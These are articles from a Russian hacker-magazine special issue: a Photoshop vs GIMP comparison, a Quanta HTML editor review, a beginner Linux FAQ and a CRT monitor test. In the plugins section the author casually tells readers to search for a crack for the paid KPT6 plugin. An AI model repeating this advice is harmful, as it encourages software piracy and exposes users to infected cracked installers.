Начнем с GIMP. После первого запуска он немного подумает, создаст необходимые каталоги и предстанет перед пользователем в виде четырех окон-диалогов: главного окна, панели инструментов, диалога слоев и кисти. Панель инструментов состоит из последовательности кнопок, которые закрепляют за собой определенную функцию, как например, кисть, размывка, палец, заливка и т.д. и т.п. Внизу панели инструментов располагаются активный и вторичный цвета (слева), а также градиент, шаблон и размер кисти (справа). Это очень удобно, потому как всего за несколько щелчков мыши ты можешь добиться нужного результата.

Чтобы создать изображение, достаточно выбрать Файл->Новый либо нажать горячую клавишу Ctrl+N (о горячих клавишах в редакторах мы поговорим несколько позже). Появится окно с пустым изображением. Поначалу я долго не мог понять, где искать все основные действия над картинкой. Оказалось, что достаточно кликнуть правой кнопкой мыши по этому окну, и перед тобой предстанет огромное меню с фильтрами, масштабированием, выделением и прочими фичами ;).

В своей работе GIMP использует слои. Я думаю, ты знаешь, что это такое, но все же напомню: слоевой рисунок представляет собой ровную стопку фильтров или слайдов, наложенных друг на друга. Все эти слои корректно сохранятся лишь в формате редактора - XCF. Разумеется, что весить он будет намного больше, чем обычная картинка.

Козырем этого редактора, пожалуй, является легкодоступность к любому пункту меню. Поясняю, в любом gnome-приложении Linux подменю легко перетаскивается на передний план. Это можно сделать одним нажатием мыши на верхнюю пунктирную полосу закладки.

Все хорошо... Напрягает лишь то, что у GIMP нет единого связывающего окна, а все окошки беспорядочно раскиданы по рабочему столу. Отсутствует хелп, что делает работу в эдиторе очень проблематичной (без поиска инфы в инете мое первое знакомство с GIMP длилось всего минуту :)). Излишняя гуеватость линухового приложения порой также действует на нервы (особенно для виндузятника), именно поэтому Гимп так и не прижился в обществе дизайнеров.


Спецвыпуск Xakep, номер #033, стр. 033-084-3, PHOTOSHOP vs GIMP Схватка лучших редакторов!

PHOTOSHOP vs GIMP Схватка лучших редакторов!

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-084-3

Винда... В этой среде все намного привычнее, чем в Лине (я говорю от лица дизайнера). После долгого запуска Фотошопы ты увидишь единую программу, в которой окна уже будут разбросаны в произвольном порядке. Таких окон довольно много - менеджер слоев, цветов, координат, кистей, инструментов и т.п. Открывается файл двойным щелчком по любому месту Photoshop. Необходимо создать новый? Без проблем! Дави Ctrl+N и выбери параметры файла. Если картинка находится в буфере обмена, эдитор автоматически подберет ее размеры. С помощью горячих клавиш можно за несколько секунд отредактировать изображение. Удобный менеджер слоев поможет оперативно отлаживать каждый кусок твоего изображения. Одним словом, лучше один раз увидеть, чем сто раз услышать. После того как прокликаешь все, что кликается, ты довольно быстро научишься работать в среде форточного редактора :).

Файло Фотошопа имеет уникальное расширение PSD и хранит в себе все слои редактора. Таким образом, сохранив файл в родном формате, ты можешь удалить/добавить новые слои в изображение, открыв его повторно. Редактор умеет создавать анимацию и работать с видео-файлами. Хотя для видео лучше использовать свои родные тулзы.

На этот раз Photoshop показал себя с лучшей стороны. В нем удобнее и привычнее работать, он имеет множество примочек, которые можно заюзать всего за пару щелчков мыши. Наличие моря литературы и хелпа по ФотоЖопе также делают его популярным (еще бы, от реализации проекта Adobe, наверное, гребет деньги лопатой ;)). В общем, во втором раунде побеждает Photoshop. Итоговый счет 1:1. Поглядим, что будет дальше...

Раунд 3: локализация

Посмотрим, как производители позаботились о русификации наших редакторов. Я думаю, ты наслышан о проблеме русских букв в Photoshop. Тем не менее этот недостаток легко исправляется путем долгого лазания в реестре (ищем раздел HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Codepage и меняем значение параметра 1250 на CP_1251.nls и 1252 на CP_1251.nls) и ребута. При слове "ребут" каждый уважающий себя юниксоид хмурит брови, так как перезагружает машину лишь при замене ядра. Не мудрено, что в GIMP проблема русских букв попросту отсутствует. Мало того, ФотоЖопа страдает также русскими названиями слоев - ну не понимает он их, и все! Тут случай клинический, методику исправления этого бага я не нашел.

Что касается русификации для GIMP - достаточно установить русскую локаль, и он будет полностью русским (а если установить японскую локаль - японским. Прям-таки хамелеон ;)). Для Photoshop же придется скачивать дополнительный патч. Этот патч меняется от версии к версии, поэтому, введя ключевые слова "rus" и "photoshop" в поисковике, ты его быстро отыщешь (мне ли тебя учить пользоваться поисковыми системами?). После его установки я долго смеялся над опечатками переводчиков - я думаю, ты их тоже сразу обнаружишь.


Спецвыпуск Xakep, номер #033, стр. 033-084-4, PHOTOSHOP vs GIMP Схватка лучших редакторов!

PHOTOSHOP vs GIMP Схватка лучших редакторов!

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-084-4

Итог очевиден. В плане локализации Photoshop просасывает :), поэтому в третьем раунде опять побеждает GIMP. Текущий счет 2:1 в пользу последнего.

Раунд 4: плагины

Огромный выбор плагинов под Photoshop всегда радовал глаз и грел душу дизайнерам, потому как они в десятки раз облегчают их и без того проблемную работу. Перечислять работу каждого плагина просто бессмысленно - на это уйдет не одна книга. Просмотреть их можно, ткнув в пункт меню Filter. Как видишь, ассортимент их огромен. Тут и разного рода размытия, и вчленение (ну и слово я придумал ;)) рисунка в изображение и т.д. и т.п. Но самым рулезным плагином является KPT6, который поставляется отдельным пакетом, весит 76 мегабайт и... как ты уже догадался, является далеко не бесплатным. Но на каждый платный проект найдется свой кряк, так что топай на Альтависту и ищи его там. В KPT6 есть все и еще чуть-чуть: эквалайзер с разными подстройками изображения (размытие, гель и т.п.), поддержка анимации и видео. Одним словом, без бутылки тут не разобраться (к KPT6 прилагается хороший английский мануал, так что скучать не придется ;)). В этом плагине можно в два штриха нарисовать луну (какой-то режим фаз луны и солнца там имеется), об остальных способностях KPT6 додумывай сам.

Об установке плагинов думать не стоит. Просто жми на exe-файл и однозначно отвечай на все вопросы (да/нет/не знаю ;)), инсталлер сделает все за тебя, предварительно взяв оплату в виде серийного номера. Сами плагины можно скачать с сайта производителя - виртуальные двери на http://www.adobe.com для тебя всегда открыты.

А что в GIMP? Тут также имеются плагины. Но не такие яркие, как в Photoshop. По дефолту с Гимпом поставляется плагин script-foo, который содержит в себе массу увлекательных возможностей, например, создания разного вида кнопок, кистей, текстур и анимаций. Короче, много возможностей в одном флаконе. Кроме того, ты найдешь в GIMP множество различных шумов, имитаций, искажений и тому подобных фишек. Весомым минусом в плагинах Гимпа является то, что запускаются они отдельным процессом, а не вместе с программой (представь, сколько памяти сожрет у тебя с десяток плагинов). Обидно - дополнений к Гимпу очень мало, скудный ассортимент ты можешь найти на www.gimp.org, там же ты отыщешь ссылку на мануал по написанию этих самых плагинов - кто знает, быть может ты освоишь этот мануал и сам будешь кодить модули для GIMP ;).

В общем, на мой трезвый взгляд, плагины в Photoshop намного лучше GIMP'овых и их больше, поэтому раунд заканчивается с суммарным счетом 2:2.

Раунд 5: совместимость и форматы

Очень интересно, то ли Гейтс так взаимно невзлюбил Торвальдса, то ли причина в другом. Но у GIMP и Photoshop нет взаимопонимания. Не совместимы они, и все тут. XCF-поддержка напрочь отсутствует в виндовом едиторе, PSD-файлы не открыть в линевом, хотя такое расширение есть в списке OpenFiles'ов (у меня PSD-шка от 7 Фотошопа читаться отказалась). Что же, будем довольствоваться промежуточными форматами ;).


Спецвыпуск Xakep, номер #033, стр. 033-084-5, PHOTOSHOP vs GIMP Схватка лучших редакторов!

PHOTOSHOP vs GIMP Схватка лучших редакторов!

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-084-5

В ФотоЖопе таких форматов гораздо больше чем в Гимпе - тут тебе и tif, и jpg, и bmp, и png, и туева хуча каких-то неизвестных мне графических расширений. Несомненно, в GIMP этот список тоже большой, но несколько меньше, чем у его оппонента. Более того, в форточном редакторе существуют различные режимы сжатия и сохранения графики и видео. Не грех упомянуть об экспорте в gif-формат с огромными модификациями. Импорт в Photoshop также имеется, эдитор позволяет принимать пиксы прямо со сканера (с помощью чудной утилиты ScanExpress).

Я полностью уверен в Photoshop, в нем откроется любой файл с графикой и видео, какой я пожелаю. Поэтому в этом раунде Фотошоп наносит сокрушительный удар своему противнику. Счет 3:2.

Раунд 6: горячие клавиши

Доказано, что использование HotKeys повышает производительность работы в десятки раз. Поэтому не будет лишним обратить внимание на горячие клавиши в наших эдиторах.

Разумеется, каждый уважающий себя дизайнер знает ХотКейзы в Photoshop. Для удобства они могут юзаться одинаково на разных раскладках, чего не сказать о GIMP :(. Я вообще удивился, когда, нажав ctrl+d (снять выделение в Photoshop), получил дубликат изображения в Гимпе. Некоторые горячие клавиши, которые были незаменимы в форточках, вообще не работали.

Хотя в GIMP существует возможность переопределения горячих клавиш для любых меню. Для этого необходимо вызвать его, выбрать нужный пункт и нажать новую комбинацию клавиш. Она будет динамически связана и сохранена при выходе из редактора. Вообще-то, это очень полезная возможность, так как позволяет назначить свои горячие клавиши на наиболее часто используемые действия. Так, например, я назначил Alt+I для инверсии цвета, переопределил Ctrl+D для снятия выделения, Shift+S для "Сохранить как". Удалить такое сочетание клавиш можно с помощью батона Delete.

С учетом того, что ни один дизайнер не будет переучиваться на ХотКейзы GIMP, если раньше юзал ФотоЖоп, в последнем раунде побеждает виндовый редактор, и счет становится 4:2.

Раз, два, три... Нокаут!

Вот и закончилась схватка двух популярных редакторов. Закончилась в пользу виндового Photoshop, несмотря на его огромный размер и шароварность. Так уж повелось, что Photoshop раньше появился и довольно быстро развивался, именно поэтому его так любят профессиональные дизайнеры. Согласись, будь ты самый навороченный редактор, ты не сел бы за него, если бы полжизни провел в другом. Точно так же и дизайнеры - им даже чужд Linux (я говорю о большинстве, а не о нас с тобой ;)) и, сидя в форточках, им ничего не остается делать, как использовать Photoshop. Хотя производители предлагают скачать портированный виндовый GIMP с теми же функциями и примочками, что и в правильной оси.

Если верить разработчикам, версия Гимпа 1.2 в два раза отличается от предыдущей 1.1. Из этого можно сделать вывод, что редактор совершенствуется с каждым релизом. Быть может, через 3-4 выпуска мы повторно проведем схватку Photoshop и нашего любимого линевого эдитора... И тогда он наверняка одержит законную победу в бою.


Спецвыпуск Xakep, номер #033, стр. 033-088-1, WEB-ВЕРСТКА В LINUX. Главный инструмент WEB-дизайнера под Линь

WEB-ВЕРСТКА В LINUX. Главный инструмент WEB-дизайнера под Линь

Ушаков Андрей aka A-nd-Y

Спецвыпуск Xakep, номер #033, стр. 033-088-1

(Andy_@timus.ru)

В Линуксе и прочих никсах дела с HTML-версткой (точнее со специализированными редакторами) обстоят далеко не так хорошо, как в Винде. Пожалуй, все средства для создания HTML-документов под Линуксом ограничиваются достаточно продвинутым редактором Quanta, а также некоторым количеством текстовых редакторов с поддержкой HTML-синтаксиса.

Я хочу подробнее остановиться на Quanta. Quanta можно назвать единственным специализированным редактором для WEB-разработки для *nix, но сразу скажу, что редактор этот стоящий и заслуживает внимания.

Конечно, не буду спорить, что для написания HTML можно использовать такие продвинутые средства, как vi и Emacs, а также относительно простые текстовые редакторы, например, из пакета KDE. Но это всего лишь текстовые редакторы. Quanta же - специализированный пакет со строго предписанным назначением.

К тому же, чтобы начать использовать Emacs хоть сколько-нибудь осознанно, со всеми его возможностями, потребуется прочитать, пожалуй, не одну книжку. Наша же задача - рассмотреть средство, которое облегчит жизнь HTML-кодеру, коим отчасти является WEB-дизайнер, но в то же время будет довольно простым в освоении. Quanta прекрасно отвечает этим требованиям.

Осмотр на месте

Quanta базируется на библиотеках QT, а также тесно интегрирована с редактором Kate из пакета KDE, что, в свою очередь, требует наличия некоторых компонентов KDE в системе.

Сама Quanta весит немного (~3mb), но требования пакетов KDE автоматически увеличивают объем файлов, необходимых для установки Quanta. Но не все так плохо. Во-первых, KDE есть в большинстве дистрибутивов, да и Quanta в дистрибутивах встречается достаточно часто.

Также стоит отметить, что применение Quanta не ограничивается только Линуксом. Ее применение возможно на всех тех никсах, на которые портирована KDE. С полной уверенностью могу сказать о работе Quanta на Linux, FreeВSD, OpenBSD, NetBSD. На других системах не проверял, в связи с их малой распространенностью в качестве десктопов.

Качай архив Quanta с любого из серверов проекта KDE (их список можно найти на сайте http://www.kde.org). Установка из исходников через стандартные команды: ./configure, make, make install, после чего программа установлена и готова к работе.

Запускай программу командой quanta в командной строке. Если команда не будет найдена, укажи полный путь, который можно узнать, набрав "whereis quanta".

Сейчас перейдем непосредственно к рассмотрению возможностей редактора. После запуска перед нами появляется рабочее окно редактора, разделенное на две части. Левая часть состоит из нескольких вкладок, среди которых вкладка просмотра дерева каталогов, вкладка просмотра файлов проекта, окно шаблонов, просмотр DOM-структуры (Dynamic Object Model), а также вкладка окошка справочной информации.

Во второй, правой части рабочей области программы мы также видим несколько вкладок, содержащих структурные элементы HTML документа и призванных упростить редактирование/создание кода. Вкладка Standart содержит кнопки базовых тегов. Названия вкладок Fonts, Tables, Lists, Forms говорят сами за себя. При нажатии на кнопку какого-либо элемента в главном рабочем поле будут появляться соответствующие теги. Для некоторых тегов будут выводиться диалоговые окошки с запросом параметров.


Спецвыпуск Xakep, номер #033, стр. 033-088-2, WEB-ВЕРСТКА В LINUX. Главный инструмент WEB-дизайнера под Линь

WEB-ВЕРСТКА В LINUX. Главный инструмент WEB-дизайнера под Линь

Ушаков Андрей aka A-nd-Y

Спецвыпуск Xakep, номер #033, стр. 033-088-2

Над двумя рабочими областями программы находится несколько панелей меню: стандартное меню команд приложений KDE, а также две панели с командами Quanta. На них находятся кнопки перемещения между действиями, кнопка предварительного просмотра страницы в браузере, кнопки навигации по ссылкам просматриваемой страницы, а также довольно интересная кнопка, позволяющая просматривать логи произведенных действий в специально появляющемся подокне, внизу рабочего поля программы.

К делу, господа!

Итак, открываем документ, который мы хотим редактировать, или выбираем создание нового чистого документа через меню "File" > "New". Также Quanta позволяет создать непосредственно проект в отдельной директории с определенным набором связанных файлов. Удобный визард позволяет задать каталог для проекта, его название, параметры связи с сервером, кодировку страниц, добавить необходимые файлы, а также воспользоваться шаблонами и выбрать стандарт, в соответствии с которым будет проверяться валидность создаваемых документов.

Порадовали возможности администрирования создаваемого сайта. Отдельно стоит отметить выбор протоколов и режимов для работы с сервером. Среди них local - работа с локальным каталогом машины, ftp - в комментариях не нуждается, sftp - секьюрная передача файлов по протоколу ssh (тут ты можешь быть полностью спокоен за передаваемую информацию и пароли), smb, nfs и даже floppy - режим работы с дискетой; также есть возможность работать через CVS, что весьма важно при распределенной разработке сайта.

Естественно, что сразу можно задать пароль, хост и порт для входа на сервер. Таких богатых возможностей для связи с сервером я не видел ни в одном виндовом редакторе.

Работать с параметрами каждого проекта можно при помощи команд из меню Projects. В частности, пункт Project Options позволяет изменить свойства текущего проекта; Insert files и Insert Directory - добавить к проекту соответственно файл или директорию. Все остальные пункты этого меню также интуитивно понятны и не вызовут сложностей с их применением.

Quanta поддерживает основные необходимые спецификации: HTML 4.01, WML, XSLT, XHTML, а также PHP. К сожалению, я не обнаружил в Quanta поддержки спецификаций XML (Extensible Markup Language). Конечно, на данный момент это не очень критично, но, учитывая возрастающую роль этого языка логической разметки, поддержка спецификаций не была бы лишней.

Но опять же повторю, что на данный момент это не так страшно. Похоже, Quanta не поддерживает синтаксис такой полезной и тесно связанной с HTML штукой, как css (Cascade Style Sheet), вот тут действительно значительный минус - можно было бы просто ограничиться подсветкой синтаксиса CSS.

Весьма удобной показалась возможность редактора отображать структурное дерево элементов DOM редактируемого документа. В левой части рабочего окна программы отображается дерево элементов документа в соответствии со степенью их вложенности. Структурное дерево DOM позволяет не только сделать структуру документа очень наглядной, но также существенно облегчает навигацию по редактируемому коду и позволяет избежать ошибок, связанных с нарушением структуры документа.


Спецвыпуск Xakep, номер #033, стр. 033-088-3, WEB-ВЕРСТКА В LINUX. Главный инструмент WEB-дизайнера под Линь

WEB-ВЕРСТКА В LINUX. Главный инструмент WEB-дизайнера под Линь

Ушаков Андрей aka A-nd-Y

Спецвыпуск Xakep, номер #033, стр. 033-088-3

Что касается ошибок. Подсветка синтаксиса в значительной степени уменьшает вероятность ошибок с закрытием парных тегов и в случае их совершения, позволяет с легкостью их обнаружить и исправить.

Также в программу встроен чекер синтаксиса, дабы помочь веб-мастеру найти и исправить совершенные ошибки. Еще одна полезная функция - автоподстановка тегов. При правке кода и добавлении новых тегов автоматически появляется менюшка с возможностью выбора тегов. Польза этой фишки очевидна: во-первых, не нужно помнить все теги HTML (хоть это и не очень сложно), так как всегда найдется оперативная подсказка; во-вторых, выбранные теги всегда будут правильными; ну и в-третьих, ты можешь вспомнить о тегах (если ты их забыл :)), использование которых более предпочтительно, нежели тех, которые ты задумал изначально.

Расходимся

Отмечу, что Quanta не является визуальным редактором по типу WYSIWYG, то есть с непосредственным построением страницы с помощью мышки. Quanta - это среда для разработки HTML-документов, достаточно серьезная, чтобы использовать ее для значительных проектов. Quanta не удастся использовать без базового знания HTML, так как тебе придется непосредственно редактировать код документа.

Говорить о чистоте кода здесь не приходится, так как программа сама ничего не генерирует, она лишь помогает разработчику. Здесь все зависит от кодера. Но, имхо, в любом случае ручной код будет чище, нежели код, сгенерированный программой. Даже самые продвинутые виндовые редакторы генерируют далеко не самый чистый код, что уж говорить о более слабых представителях.

Базовые понятия HTML можно изучить за пару дней, и, в дальнейшем совершенствуясь, ты легко избежишь мусора в коде своих страничек, а следовательно, у тебя будет хорошая возможность уменьшить их объем, что весьма важно на медленных каналах, да и лишний трафик никому не нужен.

Кажется, теперь ты должен с легкостью начать писать свои паги под Линухом, да и средство для этого есть, причем весьма неплохое.


Спецвыпуск Xakep, номер #033, стр. 033-090-1, FAQ THE WORK!

FAQ THE WORK!

Vitls (vitls@chat.ru)

Спецвыпуск Xakep, номер #033, стр. 033-090-1

Данный FAQ не является полным справочным руководством. Это всего лишь ответы на несколько вопросов, заданных мне моим соседом по этажу.

Что такое "дистрибутив"?

Дистрибутив - это набор, в состав которого входит ядро операционной системы и сборник различных приложений. Очень часто компании, разрабатывающие и сопровождающие тот или иной дистрибутив, включают в него свои собственные оригинальные разработки. Фактически - это готовый к распространению и использованию (коммерческий) продукт с системой установки и настройки. Известные изготовители дистрибутивов: Red Hat, SuSE, Mandrake, Turbo Linux, Connectiva (буржуйские) и ALT Linux, ASP Linux, Black Cat (наши). Сайт, посвященный дистрибутивам Linux: www.distrowatch.com.

Можно ли запускать программы для Windows под Linux?

Можно. Но для этого нужно воспользоваться либо виртуальной машиной, либо эмулятором. Виртуальная машина - это программа, запустив которую, ты получаешь возможность установить другую операционную систему "внутри" уже установленной. Самый известный продукт VMware (программа платная, бесплатный ключик дается на месяц). Далее идут win4lin (тоже платная) и Bosсh (свободная). Кроме того, существуют программные комплексы wine и wineX (поддерживает 3D), которые, не являясь эмулятором Windows, все же дают возможность пользоваться "виндовыми" приложениями.

А наоборот?

Вот тут чуточку сложнее. VMware есть и для Windows. Есть такие варианты, как Cygwin - набор библиотек для запуска XFree86 под win32. Есть также набор утилит unix для win32, но это лишь самая малая часть того, что доступно при работе в самой unix-like системе.

Что такое "консоль"?

Когда-то давно ввод в комп осуществлялся через клавиатуру, а вывод - на печатающее устройство. Дисплеев не было. Сейчас консолью называют клаву + дисплей. В Linux у тебя может быть до 12 независимых друг от друга консолей (виртуальных терминалов) на одной паре "клавиатура-дисплей". Кроме того, к одному Linux-серверу можно подключить несколько удаленных бездисковых станций (терминалов). Более подробно читай на www.ltsp.ru. Еще можно установить соединение с Linux-сервером посредством протоколов telnet или ssh. В каждой консоли пользователю дается возможность вводить команды и выполнять приложения.

За реакцию на действия пользователя отвечает программа, которая, в общем, называется shell (названия: sh, ash, bash, ksh, tcsh, zsh и много других). Роль shell в win32 выполняют программы command.com или cmd.exe, но их возможности очень ограничены.

Кстати, shell предоставляет также и язык программирования, на котором можно писать небольшие программки-сценарии. Отдаленным аналогом являются .bat файлы в Windows.

Что такое /dev и зачем он нужен? Что такое файл устройства?

В любой unix-like системе любые устройства представлены как файлы. Не удивляйся, это так. Сканеры, плоттеры, мышки, клавиатуры, жесткие диски - все представлено в виде файлов. Все файлы устройств собраны в каталоге /dev. Имя файлу дает драйвер устройства. Например, /dev/hda означает первый жесткий диск на первом ide контроллере. Соответственно, в документации к ядру Linux есть список наиболее часто используемых файлов устройств.


Спецвыпуск Xakep, номер #033, стр. 033-090-2, FAQ THE WORK!

FAQ THE WORK!

Vitls (vitls@chat.ru)

Спецвыпуск Xakep, номер #033, стр. 033-090-2

Расскажи про организацию файловой системы?

В Linux, как и в любой другой unix-like системе, файловая система организована в виде дерева с единственным корнем (обозначается как /). В win32 на каждое устройство хранения данных есть свой корень (например, c:\). В Linux все устройства хранения данных, которые мы хотим использовать в системе, должны быть "прикручены" к существующему "дереву". Такой процесс называется монтированием. Команда mount -t vfat /dev/hdd1 /mnt/disk_d означает, что первый раздел на устройстве slave второго ide контроллера (/dev/hdd1) имеет файловую систему vfat и будет "присандален" к нашей файловой системе в каталог /mnt/disk_d. После выполнения этой команды я могу перейти в каталог /mnt/disk_d и получить доступ к файлам на смонтированном диске.

Права доступа?

В Linux существует встроенная система разграничения прав доступа к файлам и каталогам. Ее главная цель - оградить систему от действий пользователя, могущих привести к потере информации или к нежелательному обладанию некоторыми данными. В системе есть группы пользователей и пользователи. Администратору позволено все. Остальные ограничены теми правами, которые раздаст им администратор. Есть права на чтение-запись-выполнение. А по принадлежности права делятся на владелец - группа - остальные. Понятие "группа" означает, что права на те или иные действия с файлом\каталогом разрешены группе, членом которой является пользователь.

Система разделения прав несколько отличается от того, что есть в WindowsNT и ей подобных. Но в своем нынешнем виде она вполне справляется с 90% задач по разграничению доступа.

Что такое "списки доступа"?

Списки доступа (ACL, Access Control List) - это фича некоторых типов файловых систем, например, XFS, которая позволяет гибче управлять доступом к объектам файловых систем. ACL дает возможность указать конкретному пользователю, с какими объектами он может работать (и как именно работать), а с какими - нет. При совместной работе с традиционными средствами разграничения доступа получается эффект мощной и гибкой системы раздачи прав.

Что такое модуль ядра?

Ядро Linux умеет динамически подключать или отключать драйвер того или иного "железа" твоей системы. Для этого драйвера оформляются в виде отдельных подпрограмм. Вот они-то и называются "модулями". Командами insmod, modprobe можно подключить нужный модуль. После чего устройство будет способно к работе. Даже перегружаться нет необходимости (хотя бывают исключения). Команда rmmod удалит нужный модуль из памяти. Многие фирмы выпускают драйвера для Linux к своим изделиям в виде модулей.

Как настроить звук и винмодемы?

Если твоя "звуковуха" поддерживается ядром, то ты сможешь ее настроить. Прежде всего, много звуковых карт настраивается программой soundconf (или sndconf). Если нет - карту, скорее всего, можно настроить, заюзав доки и соответствующие модули. В Linux есть несколько разных подсистем, отвечающих за работу со звуком. Две из них - oss и alsa (www.alsa.org) - входят в состав ядер. Alsa более сложна в использовании и установке, но она поддерживает большинство новинок и более современна. Кучу полезных советов найдешь на www.atmsk.ru.


Спецвыпуск Xakep, номер #033, стр. 033-090-3, FAQ THE WORK!

FAQ THE WORK!

Vitls (vitls@chat.ru)

Спецвыпуск Xakep, номер #033, стр. 033-090-3

В винмодеме основную работу по управлению соединением выполняет операционная система. На сайте www.linmodems.org есть полная инфа о том, какие винмодемы работают в Linux, а какие нет.

А есть в Linux программы Word, Photoshop и т.д.?

Нет. ЭТИХ программ для Linux нет. Зато у тебя есть сайт www.linuxshop.ru/linuxbegin/win-lin-soft/, на котором собрана наиболее полная информация по вопросу соответствия друг другу программ Linux и Windows. Некоторые из перечисленных там программ - коммерческие и стоят немалых денег.

Как мне подключить локальную сеть, имея один компьютер, подключенный к Интернету?

В windows98 это делается методом Connection share, то есть средства разделения доступа встроены в систему. Минусом является то, что это абсолютно медленная и тупая штука. Более гибкое управление требует наличия программ вроде WinRoute или WinGate. WindowsNT, XP и 2000, 2003 имеют еще более продвинутые средства. На их изучение тебе потребуется потратить какое-то время.

Если выход в Сеть имеет машина с Linux, то на ней запускается программа трансляции адресов. На системах с ядрами серии 2.2.х программа называется ipchains, на ядрах 2.4.х - iptables. По последней тулзе есть прекрасное руководство, лежащее на сайте http://gazette.linux.ru.net/rus/articles/iptables-tutorial.html.

Что такое NAT?

NAT - Network Address Translation - преобразования адресов сети. Средство маскировки IP-адресов одной сети адресами другой сети. Применяется чаще всего для выпуска локальной сети конторы в Инет. Но, на самом деле, есть еще огромная куча применений в области сетевой безопасности.

Где про это читать?

1. Kernel-HOWTO

2. Linux 2.4 Packet-filtering-HOWTO

(http://www.linux.org.ru:8100/books/HOWTO/index.html)

3. Iptables-HOWTO

(http://www.linuxguruz.org/iptables/howto/iptables-HOWTO.html)

4. Firewall-HOWTO

(http://linuxdocs.org/HOWTOs/Firewall-HOWTO.html)

5. NAT-HOWTO

(http://imc.edu.trekhgorny.ru/~merlin/iptables/NAT-HOWTO.linuxdoc.html)

6.Netfilter-hacking-HOWTO

(http://www.netfilter.org/documentation/HOWTO/netfilter-hacking-HOWTO.html)

7. Iptables-tutorial

(http://gazette.linux.ru.net/rus/articles/iptables-tutorial.html)

Говорят, что на Linux можно построить недорогой маршрутизатор?

Правильно говорят. Linux прекрасно работает на системах с процессорами i386 и выше. Есть дистрибутивы, которые состоят из одной-двух дискет объемом 1.44 Мб и включают в себя минимальный набор программ для построения маршрутизатора. А надо-то: ядро с поддержкой сетевой подсистемы (драйвер сетевой карты, протоколов tcp/ip и прочими вещами) и прога route для простой статической маршрутизации. Для более изысканной работы можно использовать пакет iproute2. На сайте www.linuxrouter.org есть информация по созданию маршрутизаторов на основе Linux.

А что, под Linux нет вирусов?

Есть, но они практически неработоспособны. Ведь для серьезных деструктивных действий нужны права суперпользователя, а потому, если неосторожный пользователь запустил вирус от своего имени, то потеряется лишь его собственная инфа. Система останется нетронутой. Вот почему вести повседневные дела от имени администратора системы строжайше запрещено. Надо быть конченным идиотом, чтобы от пользователя root собирать и выполнять программы из незнакомых источников.


Спецвыпуск Xakep, номер #033, стр. 033-090-4, FAQ THE WORK!

FAQ THE WORK!

Vitls (vitls@chat.ru)

Спецвыпуск Xakep, номер #033, стр. 033-090-4

Для Linux есть и антивирусные программы. Самые лучшие - наши www.drweb.ru и www.kav.ru.

Как бороться с "троянами" под Линь?

Под Linux "трояны" чаще всего устанавливают набор, который дает злодею удаленный доступ к системе. Rootkit заменяет стандартные утилиты контроля процессов (ps, netstat, top), чтобы его нельзя было обнаружить, а потом открывает сетевой порт и ждет, пока с ним соединится хацкер. Обнаружить трои можно с помощью программы с http://www.chkrootkit.org. После обнаружения лучше всего переустановить систему. Хоть это и неприятно.


Спецвыпуск Xakep, номер #033, стр. 033-092-1, САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

test_lab (test_lab@gameland.ru)

Спецвыпуск Xakep, номер #033, стр. 033-092-1

Перечень тестируемого оборудования:

LG FLATRON F700P

LG FLATRON F795FT Plus

CTX PR705F

NEC FE791SB

SONY Multiscan E250

SAMSUNG SyncMaster 757NF

SAMSUNG SyncMaster 757MB

Что мы видим на графиках?

На графиках мы изобразили скорректированную цветопередачу. То есть мы взяли параболу со степенью «гамма», применили обратную функцию и должны были в идеале получить прямую линию из одного угла в другой. Но тут-то и вылезло много интересных вещей... Для каждого цвета RGB свой график. А стандартная цветопередача монитора отмечена синей параболой.

На рынке мониторов сейчас очень интересная ситуация. Набирают популярность жидкокристаллические модели, в результате чего дешевеют электроннолучевые. Это приводит к тому, что невероятные пару лет назад 19-дюймовые CRT становятся все более доступными! Однако у юзверов есть куча причин для покупки 17-дюймовых: небольшие размеры, скромная цена, отсутствие потребностей в 19-ти дюймах. Вот мы и решили надыбать для тебя самые вкусные семнашки, чтобы ты не облажался при выборе моньки.

Методика тестирования

Мы подключали мониторы к видеоразветвителю, что дало возможность отображать тесты из набора Nokia Monitor Test одновременно на нескольких дисплеях. То есть мы сравнивали геометрию, сведение, фокусировку, стабилизацию и работу видеоусилителя, муар всех устройств в одинаковых условиях.

Прежде всего мы обращали внимание на полосу пропускания видеоусилителя, от которой зависит максимальное разрешение и частота кадров. Для комфортной работы за монитором требуется минимальная кадровая развертка в 85 Гц. А чтобы мерцания не были видны краем глаза, необходима частота 100-110 Гц, поднимать ее выше бессмысленно. Видеоусилитель с узкой полосой пропускания на больших разрешениях будет размывать фокус, что также очень неприятно.

С видеоусилителем связана высоковольтная система. Если высоковольтный преобразователь дешевый и слабый, то при изменении яркости картинки изображение меняет размер и геометрию. То есть если ты открыл белый лист, то размер рабочего поля меняется. Такая дерготня сильно раздражает, но у тестируемых мониторов этот минус не проявился.

Муар - это неприятные волны или разводы на изображении. Они особенно заметны на всевозможных мелких контрастных рисунках. Это явление редко встречается при обычной работе за монитором, но его можно вызвать с помощью теста "чередующиеся контрастные линии".

Цветопередача

Видеоразветвитель позволяет субъективно оценить цветопередачу "на глаз" с помощью набора фотографий. Для объективных тестов мы использовали колориметр PANTONE ColorVision SpyderPRO с программным обеспечением OptiCAL.

Датчик измерительного прибора крепится на экране с помощью присоски. Утилита OptiCAL демонстрирует на мониторе входной набор цветов, датчик фиксирует их и передает полученные данные через USB-интерфейс в компьютер. В результате получается график, по оси абсцисс которого отложены входные значения яркости для каждого цвета, а по оси ординат - выходные. В идеале этот график должен быть прямой линией, однако в реальности цвета выводятся нелинейно, и график приобретает форму параболы со степенью "гамма". Потому график цветопередачи так и называют: цветовая "гамма". От степени зависит кривизна параболы, и чем меньше кривизна, тем естественнее передача цвета. График цветопередачи должен быть плавным и без изломов. Неравномерность передачи цветов делает изображение кислотным и неестественным.


Спецвыпуск Xakep, номер #033, стр. 033-092-2, САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

test_lab (test_lab@gameland.ru)

Спецвыпуск Xakep, номер #033, стр. 033-092-2

